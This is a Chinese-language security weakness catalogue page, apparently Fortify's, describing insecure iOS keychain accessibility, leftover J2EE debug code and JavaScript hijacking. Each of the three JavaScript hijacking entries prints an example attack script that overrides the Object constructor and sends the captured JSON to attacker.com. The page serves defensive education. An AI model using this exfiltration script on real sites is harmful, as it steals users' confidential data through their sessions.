界: Encapsulation

封装即绘制强边界。在 Web 浏览器中,这可能意味着确保您的移动代码不会被其他移动代码滥用。在服务器上,这可能意味着区分已验证数据和未验证数据、区分一个用户的数据和另一个用户的数据,或者区分允许用户查看的数据和不允许用户查看的数据。

104 个项目已找到
弱点
Abstract
该方法在未指定可访问性级别的情况下将数据存储在了密钥链中。
Explanation
将数据存储到密钥链中时,需要设置可访问性级别以定义可在何时访问项目。可用的可访问性级别如下所示:

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
重新启动后,将无法访问密钥链项目中的数据,直到用户将设备解除锁定一次。
第一次解除锁定后,数据将保持可访问状态,直到下次重新启动。推荐将此属性用于需要由后台应用程序访问的项目。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleAlways:
始终可访问密钥链项目中的数据,无论设备是否已锁定。
不建议用于应用程序。具有此属性的项目在使用加密备份时会迁移到新设备。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
只能在设备解除锁定时访问密钥链中的数据。仅在设备上设置了密码时可用。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目不会迁移到新设备。将备份恢复到新设备后,这些项目将丢失。不能在没有密码的设备上的此类中存储任何项目。禁用设备密码将会删除此类中的所有项目。
在 iOS 8.0 和更高版本中可用。

-kSecAttrAccessibleAlwaysThisDeviceOnly:
始终可访问密钥链项目中的数据,无论设备是否已锁定。
不建议用于应用程序。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenUnlocked:
只能在用户对设备解除锁定时访问密钥链项目中的数据。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目在使用加密备份时会迁移到新设备。
这是在没有明确设置可访问性常量的情况下添加密钥链项目时的默认值。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
只能在用户对设备解除锁定时访问密钥链项目中的数据。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

最初引入密钥链保护时,可访问性级别的默认值为 kSecAttrAccessibleAlways,但该设置存在安全问题,因为可访问或窃取您的设备的人将能够读取密钥链的内容。当前的默认属性为 kSecAttrAccessibleWhenUnlocked,这是一个限制性较高的默认值。但是,Apple 的公开文档对于默认属性应为何值存在分歧,因此为了以防万一,应在所有密钥链项目上明确设置此属性。

示例 1:在以下示例中,存储密钥链项目时未明确指定可访问性级别,这可能导致在不同的 iOS 版本上出现不同的行为:


...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

// Configure Keychain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...

OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 359
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-2, MASVS-STORAGE-2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
desc.dataflow.objc.insecure_storage_unspecified_keychain_access_policy
Abstract
该方法在未指定可访问性级别的情况下将数据存储在了密钥链中。
Explanation
将数据存储到密钥链中时,需要设置可访问性级别以定义可在何时访问项目。可用的可访问性级别如下所示:

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
重新启动后,将无法访问密钥链项目中的数据,直到用户将设备解除锁定一次。
第一次解除锁定后,数据将保持可访问状态,直到下次重新启动。推荐将此属性用于需要由后台应用程序访问的项目。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleAlways:
始终可访问密钥链项目中的数据,无论设备是否已锁定。
不建议用于应用程序。具有此属性的项目在使用加密备份时会迁移到新设备。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
只能在设备解除锁定时访问密钥链中的数据。仅在设备上设置了密码时可用。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目不会迁移到新设备。将备份恢复到新设备后,这些项目将丢失。不能在没有密码的设备上的此类中存储任何项目。禁用设备密码将会删除此类中的所有项目。
在 iOS 8.0 和更高版本中可用。

-kSecAttrAccessibleAlwaysThisDeviceOnly:
始终可访问密钥链项目中的数据,无论设备是否已锁定。
不建议用于应用程序。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenUnlocked:
只能在用户对设备解除锁定时访问密钥链项目中的数据。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目在使用加密备份时会迁移到新设备。
这是在没有明确设置可访问性常量的情况下添加密钥链项目时的默认值。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
只能在用户对设备解除锁定时访问密钥链项目中的数据。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

最初引入密钥链保护时,可访问性级别的默认值为 kSecAttrAccessibleAlways,但该设置存在安全问题,因为可访问或窃取您的设备的人将能够读取密钥链的内容。当前的默认属性为 kSecAttrAccessibleWhenUnlocked,这是一个限制性较高的默认值。但是,Apple 的公开文档对于默认属性应为何值存在分歧,因此为了以防万一,应在所有密钥链项目上明确设置此属性。

示例 1:在以下示例中,存储密钥链项目时未明确指定可访问性级别,这可能导致在不同的 iOS 版本上出现不同的行为:


...
// Configure Keychain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?

SecItemAdd(query as CFDictionary, nil)
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 359
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-2, MASVS-STORAGE-2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
desc.dataflow.swift.insecure_storage_unspecified_keychain_access_policy
Abstract
调试代码可以在部署的 web 应用程序中建立一些意想不到的入口点。
Explanation
开发过程中一般会为了调试和测试目的增加一些“后门”代码,这些代码不会随应用程序一起提供或部署。如果这类调试代码无意中被保留在应用程序中,则会导致应用程序向计划外的交互模式开放。这些后门入口点很容易产生安全隐患,因为它们不在当初的设计或者测试的考虑之内,并且不会出现在应用程序设计中的操作环境里。

遗忘调试代码中最常见例子出现在 web 应用程序中的 main() 方法。尽管这在产品的开发过程中是完全可以接受的,但是属于 J2EE 应用程序中的那部分类不应该定义 main()
References
[1] ENV06-J. Production code must not contain debugging entry points CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[6] Standards Mapping - Common Weakness Enumeration CWE ID 489
[7] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[9] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.3.2 Unintended Security Disclosure Requirements (L1 L2 L3), 14.2.2 Dependency (L1 L2 L3)
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
desc.structural.java.j2ee_badpractices_leftover_debug_code
Abstract
使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞,该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。
Explanation
如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器执行同源策略 (Same Origin Policy),以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定:如果要使用 JavaScript 来访问某个网页的内容的话,则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy),恶意网站便可以使用客户端凭证来运行从其他网站加载敏感信息的 JavaScript,并对这些信息进行提炼,然后将其返回给攻击者。通过 JavaScript 劫持,攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy),该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是:通过这一策略,任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据,但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境,恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此,与传统的 Web 应用程序不同,它们往往很容易受到各种攻击。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型:阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易,因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式,在应用程序需要交换多个值时会普遍使用该形式。换句话说,一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击,这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1:在以下示例中,开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互,这一 Web 应用程序用于管理潜在商机。接下来,它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意,本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时,没有使用 new 运算符,则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据,并通过以下代码评估 JSON 结果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


当此代码运行时,它会生成一个如下所示的 HTTP 请求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在本 HTTP 响应和随后的响应中,我们省略了与该解释没有直接关系的 HTTP 头信息。)
服务器使用 JSON 格式的数组进行响应:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


这种情况下,JSON 中包含了与当前用户相关的机密信息(一组潜在商机数据)。其他用户如果不知道该用户的会话标识符,便无法访问这些信息。(在大多数现代 Web 应用程序中,会话标识符存储在 cookie 中。)然而,如果受害者访问某个恶意网站,恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后,访问包含以下恶意代码的网页,受害者的重要信息就会被发送到攻击者的网站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之,处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时,将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估,恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法,恶意代码已插入一个钩子,该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反,其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型,但不可能两者兼备。如果用户未登录到易受攻击的网站,攻击者可以要求用户登录,然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签,向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是,在此混合应用情况中,涉及的应用程序之一是恶意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
desc.dataflow.java.javascript_hijacking
Abstract
使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞,该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。
Explanation
如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器强制执行同源策略,以防止用户受到恶意网站的侵害。同源策略要求,为确保使用 JavaScript 访问 Web 页面内容,JavaScript 和 Web 页面必须来自同一个域。如果不实施同源策略,恶意网站可能就会使用客户端凭据运行从其他网站加载敏感信息的 JavaScript,并对这些信息进行提炼,然后将其返回给攻击者。JavaScript Hijacking 允许攻击者在 Web 应用程序使用 JavaScript 传递机密信息的情况下绕过同源策略。同源策略的漏洞在于,允许将来自任何网站的 JavaScript 纳入任何其他网站的上下文并予以执行。即使恶意站点无法直接检查从易受攻击的客户端站点加载的任何数据,但仍然可以通过设置环境来利用此漏洞,使其能够见证 JavaScript 的执行过程及其可能产生的任何相关副作用。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此通常容易受到攻击,而传统 Web 应用程序则不然。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型:阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易,因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式,在应用程序需要交换多个值时会普遍使用该形式。换句话说,一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击,这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1:在以下示例中,开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互,这一 Web 应用程序用于管理潜在商机。接下来,它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意,本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时,没有使用 new 运算符,则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据,并通过以下代码评估 JSON 结果:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


当此代码运行时,它会生成一个如下所示的 HTTP 请求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在本 HTTP 响应和随后的响应中,我们省略了与该解释没有直接关系的 HTTP 头信息。)
服务器使用 JSON 格式的数组进行响应:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


这种情况下,JSON 中包含了与当前用户相关的机密信息(一组潜在商机数据)。其他用户如果不知道该用户的会话标识符,便无法访问这些信息。(在大多数现代 Web 应用程序中,会话标识符存储在 cookie 中。)然而,如果受害者访问某个恶意网站,恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后,访问包含以下恶意代码的网页,受害者的重要信息就会被发送到攻击者的网站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之,处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时,将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估,恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法,恶意代码已插入一个钩子,该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反,其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型,但不可能两者兼备。如果用户未登录到易受攻击的网站,攻击者可以要求用户登录,然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签,向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是,在此混合应用情况中,涉及的应用程序之一是恶意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
desc.dataflow.javascript.javascript_hijacking
Abstract
使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞,该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。如果浏览器的 JavaScript 引擎允许数组构造函数中毒,则 JavaScript 数组会失窃。
Explanation
如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:
1) 使用 JavaScript 对象作为数据传输格式
2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器执行同源策略 (Same Origin Policy),以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定:如果要使用 JavaScript 来访问某个网页的内容的话,则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy),恶意网站便可以使用客户端凭证来运行从其他网站加载敏感信息的 JavaScript,并对这些信息进行提炼,然后将其返回给攻击者。通过 JavaScript 劫持,攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy),该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是:通过这一策略,任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据,但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境,恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此,与传统的 Web 应用程序不同,它们往往很容易受到各种攻击。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型:阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易,因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式,在应用程序需要交换多个值时会普遍使用该形式。换句话说,一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击,这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1:在以下示例中,开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互,这一 Web 应用程序用于管理潜在商机。接下来,它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意,本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时,没有使用 new 运算符,则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据,并通过以下代码评估 JSON 结果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


当此代码运行时,它会生成一个如下所示的 HTTP 请求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在本 HTTP 响应和随后的响应中,我们省略了与该解释没有直接关系的 HTTP 头信息。)
服务器使用 JSON 格式的数组进行响应:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


这种情况下,JSON 中包含了与当前用户相关的机密信息(一组潜在商机数据)。其他用户如果不知道该用户的会话标识符,便无法访问这些信息。(在大多数现代 Web 应用程序中,会话标识符存储在 cookie 中。)然而,如果受害者访问某个恶意网站,恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后,访问包含以下恶意代码的网页,受害者的重要信息就会被发送到攻击者的网站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之,处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时,将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估,恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法,恶意代码已插入一个钩子,该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反,其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型,但不可能两者兼备。如果用户未登录到易受攻击的网站,攻击者可以要求用户登录,然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签,向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是,在此混合应用情况中,涉及的应用程序之一是恶意的。

示例 2:以下代码显示 Django 样本查看方法,这种方法以 JSON 数组的形式发送包含敏感数据的 JSON 响应。


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
